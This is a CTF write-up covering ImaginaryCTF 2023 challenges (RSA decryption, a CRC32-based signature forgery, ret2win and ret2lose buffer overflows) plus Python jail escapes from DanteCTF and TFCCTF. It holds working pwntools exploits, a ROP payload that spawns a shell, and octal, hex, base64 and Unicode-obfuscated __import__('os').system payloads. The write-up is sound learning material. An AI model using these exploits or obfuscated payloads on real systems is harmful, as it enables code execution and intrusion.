跳转至

ImaginaryCTF 2023

ImaginaryCTF-2023

RSA

We are given a encrypted flag flag.enc, private key private.pem and public key public.pem

    % openssl rsa -in private.pem -text -noout  
    Private-Key: (1024 bit, 2 primes)
    modulus:
    ...
    ...

    % openssl pkeyutl -decrypt -in flag.enc -inkey private.pem 
    Public Key operation error
    007EB11801000000:error:0200009F:rsa routines:RSA_padding_check_PKCS1_type_2:pkcs decoding error:crypto/rsa/rsa_pk1.c:269:
    007EB11801000000:error:02000072:rsa routines:rsa_ossl_private_decrypt:padding check failed:crypto/rsa/rsa_ossl.c:499:


    % openssl pkeyutl -decrypt -in flag.enc -inkey private.pem -pkeyopt rsa_padding_mode:none
    ictf{keep_your_private_keys_private}%   

Signer

    # Standard RSA stuff
    p, q = getPrime(1024), getPrime(1024)
    n = p*q
    e = 65537
    d = pow(e, -1, (p-1)*(q-1))

    PASSWORD = b"give me the flag!!!"

    # <snip>

    while True:
    print("1. Sign")
    print("2. Get flag")
    choice = int(input())

    if choice == 1:
        print("Enter message:")
        message = input().encode()
        # crc32 is secure and has no collisions, but just in case
        if message == PASSWORD or crc32(message) == crc32(PASSWORD):
        print("Stop this trickery!")
        exit()
        print("Signature:", pow(crc32(message), d, n))
    elif choice == 2:
        print("Enter the signature for the password:")
        s = int(input())
        if pow(s, e, n) == crc32(PASSWORD):
        print("You win! The flag is", open("flag.txt").read())
        exit()
        else:
        print("Wrong.")
        exit()

The challenge source shows that the challenge server is doing the following processing.

  1. Establishes a standard RSA setup with two 1024-bit primes.
  2. The source also establishes a password b"give me the flag!!!"
  3. We are expected to provide an integer s, which, when encoded with the RSA parameters, would be equal to the CRC32 of the password.
  4. To assist in this endeavor, the challenge server will verify any value we give it, as long as it is not the password or share the CRC32 value with the password. This is a safe move because the funny comment in the source saying crc32 is secure and has no collisions, but just in case. CRC32 is definitely not collision free and it is not secure to be tamper resistant.
  5. Note that the operation under option #1 is the inverse of the signing operation, i.e CRCstringdmod  NCRC_{string}^d \mod N for any string we pass in.
  6. The solution is rather simple. We need to supply ss such that semod  N\=\=CRCpasswords^e \mod N == CRC_{password}
  7. Let’s factor the CRCpasswordCRC_{password}, such that CRCpassword\=C1∗C2CRC_{password} = C_1 * C_2
  8. If we can determine two strings T1 and T2T_1~and~T_2, such that their CRCs are deterministic and can be set to C1andC2C_1 and C_2 respectively.
  9. Then if their corresponding signatures are S1andS2S_1 and S_2, then the desired signature of the password s\=S1∗S2s = S_1 * S_2 due to the multiplicative property of modulus.
  10. There are a number of reverse CRC32 implementations on GitHub. I used https://github.com/theonlypwner/crc32

The steps used are :

In [2]: PASSWORD = b"give me the flag!!!"
In [3]: crc32(PASSWORD)
Out[3]: 3542523789
In [4]: assert 87619 * 40431 == crc32(PASSWORD)
In [5]: print(87619 * 40431 == crc32(PASSWORD) )
True
% crc32.py reverse 87619
    4 bytes: {0xfc, 0xdb, 0x3c, 0xd3}
    verification checksum: 0x00015643 (OK)
    ...
    6 bytes: BeSqrm (OK)
    ...

% crc32.py reverse 40431
    4 bytes: {0xf8, 0x58, 0xe3, 0xc2}
    verification checksum: 0x00009def (OK)
    ...
    6 bytes: ZJWWgU (OK)
    ...

Now that we know that strings BeSqrm and ZJWWgU will produce CRC values, which when multiplied together gives the CRC value of the PASSWORD, we are ready to code the exploit.

PASSWORD = b"give me the flag!!!"
mP = crc32(PASSWORD)
# crc32.py reverse 87619      
# crc32.py reverse 40431
p1,p2 = b'BeSqrm', b'ZJWWgU'

mp1,mp2 = crc32(p1), crc32(p2)

# ensure that the CRC values are indeed factors of the CRC value of the PASSWORD
assert mp1 * mp2 == mP

print(f"Desired CRC: {mP} \n Factors: {mp1} * {mp2}")

s1 = 0
s2 = 0

with remote('signer.chal.imaginaryctf.org',  1337) as P:
    P.recvuntil(b'Get flag')
    P.sendline(b'1')
    P.recvuntil(b'Enter message:')
    P.sendline(p1)
    P.recvuntil(b'Signature: ')
    s1 = int(P.recvline().decode().strip())
    print(f"Received sig1: {s1}")

    P.recvuntil(b'Get flag')
    P.sendline(b'1')
    P.recvuntil(b'Enter message:')
    P.sendline(p2)
    P.recvuntil(b'Signature: ')
    s2 = int(P.recvline().decode().strip())
    print(f"Received sig2: {s2}")

    # Multiply the two signatures together
    s = s1 * s2 

    print(f"Will send: {s}")

    P.recvuntil(b'Get flag')
    P.sendline(b'2')
    P.recvuntil(b'for the password:')
    P.sendline(str(s).encode())
    P.interactive()

    # [*] Switching to interactive mode
    # You win! The flag is ictf{m4ybe_crc32_wasnt_that_secure_after_all_1ab93213}

Ret2win

Description

Can you overflow the buffer and get the flag? (Hint: if your exploit isn't working on the remote server, look into stack alignment)

This is a simple ret2win challenge. The source code of the challenge is as follows.

#include <stdio.h>
#include <unistd.h>

int main() {
  char buf[64];
  gets(buf);
}

int win() {
  system("cat flag.txt");
}

Additionally if we run checksec command we get the following results.

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Thus we can exploit the buffer overflow in the gets function to do the ret2win. If you don’t have any idea on how to do simple ret2win then I would recommend you to go through my playlist on Introduction to pwnning

The exploit is as follows:

from pwn import *

elf = context.binary = ELF("./vuln",checksec=False)
# p = elf.process()
p = remote(b"ret2win.chal.imaginaryctf.org", 1337)

# gdb.attach(p,'''
#     init-gef
#     c           
# ''')

p.sendline(b"a"*72 + p64(0x000000000040101a) + p64(elf.sym.win))

p.interactive()

Ret2lose

Description

You overflowed the buffer and got the flag... but can you get my other flag? (Remote and binary are the same as in the challenge ret2win, but you have to get a shell this time)

This challenge has the exact same binary as the above challenge but in this time we have to get remote shell.

On the first glance this looks like a simple ret2libc challenge in which we can leak the libc address using the GOT entries but its not so simple. If we try to find the ROPgadgets in the binary we find that the pop rdi ; ret gadget in missing. This we cannot get a libc leak directly.

Exploitation Vector

While messing around which the challenge binary I found that if we call the gets function, it stores the input somewhere in the libc. Interestingly this input is also present in the rdi register and thus we can control the rdi register.

from pwn import *

elf = context.binary = ELF("./vuln",checksec=False)
p = elf.process()
# p = remote(b"ret2win.chal.imaginaryctf.org", 1337)

gdb.attach(p,'''
    init-gef
    c  
''')

payload = b"a"*72 + p64(elf.plt.gets)
p.sendline(payload)

p.sendline(b"b"*8)

p.interactive()
───────────────────────────────────────────────────────────────── registers ────
$rax   : 0x007f1646c1ba80  →  "bbbbabbb"
$rbx   : 0x0               
$rcx   : 0x007f1646c19aa0  →  0x00000000fbad2088
$rdx   : 0x62626261        
$rsp   : 0x007fff6410dda8  →  0x00000000401156  →  <main+0> endbr64 
$rbp   : 0x6161616161616161 ("aaaaaaaa"?)
$rsi   : 0x62626262        
$rdi   : 0x007f1646c1ba80  →  "bbbbabbb"
$rip   : 0x0               
$r8    : 0x0               
$r9    : 0x0               
$r10   : 0x77              
$r11   : 0x246             
$r12   : 0x007fff6410dea8  →  0x007fff6410f188  →  "/media/sf_E_DRIVE/CTFs/ImaginaryCTF23/ret2lose/vul[...]"
$r13   : 0x00000000401156  →  <main+0> endbr64 
$r14   : 0x00000000403e18  →  0x00000000401120  →  <__do_global_dtors_aux+0> endbr64 
$r15   : 0x007f1646d5b040  →  0x007f1646d5c2e0  →  0x0000000000000000
$eflags: [zero carry parity ADJUST sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00 

Here as we can see the 5th character is one smaller than the sent input. I assume that it might be due to some flag variable present. Now that we have rdi control we can just call system with /bin/sh as argument in the rdi register.

from pwn import *

elf = context.binary = ELF("./vuln",checksec=False)
p = elf.process()
p = remote(b"ret2win.chal.imaginaryctf.org", 1337)

# gdb.attach(p,'''
#     init-gef
#     b *0x0000000000401050
#     c  
# ''')

# print(elf.sym)

payload = b"a"*72 + p64(elf.plt.gets) + p64(elf.plt.system)
p.sendline(payload)

p.sendline(b"/bin0sh\x00")

p.interactive()
[+] Opening connection to b'ret2win.chal.imaginaryctf.org' on port 1337: Done
[*] Switching to interactive mode
== proof-of-work: disabled ==
$ ls
chal
flag.txt
the_other_flag_that_you_must_get_a_shell_to_find_8e46414287280e86e0576f0525b7ead0c0780c91.txt
$ cat the_other_flag_that_you_must_get_a_shell_to_find_8e46414287280e86e0576f0525b7ead0c0780c91.txt
ictf{ret2libc?_what_libc?}

TAN

tan.sage

print(tan(int.from_bytes(open("flag.txt", "rb").read().strip(), "big")).n(1024))
# -0.7578486465144361653056740883647981074157721568235263947812770328593706155446273431983003083023944193451634501133844062222318380912228469321984711771640337084400211818130699382144693337133198331117688092846455855532799303682791981067718891947573941091671581719597626862194794682042719495503282817868258547714

RR = RealField(4000)

x = RR("-0.7578486465...")
ax = atan(x)
rpi = RR(pi)
M = Matrix(ZZ, [[(ax * 2**600).round(), 0, 2**320],
    [      -2**600,   1, 0 ], [(rpi * 2**600).round(), 0, 0],
])
for r in M.LLL().rows():
    if r[-1]: print(int(r[1] * M[0,2] // r[-1]).to_bytes(64, "big"))

Perfect Picture

from PIL import Image,  ExifTags
from PIL.PngImagePlugin import PngInfo

img=Image.new("RGBA",(690,420),color="#000000")
img.putpixel((412, 309), (52, 146, 235, 123))
img.putpixel((12, 209), (42, 16, 125, 231))
img.putpixel((264, 143), (122, 136, 25, 213))

metadata = PngInfo()
metadata.add_text("Description", "jctf{not_the_flag}")
metadata.add_text("Title", "kool_pic")
metadata.add_text("Author", "anon")

img.save("d.png", pnginfo=metadata)

DanteCTF-HellJail TFCCTF-MY FIRST CALCULATOR

HellJail

#!/usr/bin/env python3

from string import ascii_letters

code = input('> ')

if any(c in ascii_letters for c in code):
    print('You will never leave this place!')
elif any(c in '.:;,-_@"=/%\\' for c in code):
    print('You will never reach this point, but still, you CANNOT leave!')
else:
    exec(code)

# from the writeups - @AbuQasem
import string,sys

fake_alphabet = "𝔞 𝔟 𝔠 𝔡 𝔢 𝔣 𝔤 𝔥 𝔦 𝔧 𝔨 𝔩 𝔪 𝔫 𝔬 𝔭 𝔮 𝔯 𝔰 𝔱 𝔲 𝔳 𝔴 𝔵 𝔶 𝔷".split(" ")
real_alphabet = string.ascii_lowercase
trans = str.maketrans("".join(real_alphabet), "".join(fake_alphabet))

code = sys.argv[1]
converted_code = code.translate(trans)

print(converted_code)

# python3 exploit.py "eval(input('x '))"
# __import__('os').system('sh')
# cat flag.txt

MY FIRST CALCULATOR

字符串转八进制

class OctUTF8:
  def __init__(self,s):
    self.s = s.encode()
  def __repr__(self):
    return "b'" + ''.join(f'\\{n:03o}' for n in self.s) + "'"

执行

#Octal
exec("\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\163\171\163\164\145\155\50\47\154\163\47\51")
#Hex
exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x27\x6c\x73\x27\x29")
#Base64
exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2
exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='))

python exploit.py "exec('\137\137\151\155\160\157\162\164\137\137\050\047\157\163\047\051\056\163\171\163\164\145\155\050\047\143\141\164\040\146\154\141\147\047\051')"
𝔢𝔵𝔢𝔠('\137\137\151\155\160\157\162\164\137\137\050\047\157\163\047\051\056\163\171\163\164\145\155\050\047\143\141\164\040\146\154\141\147\047\051')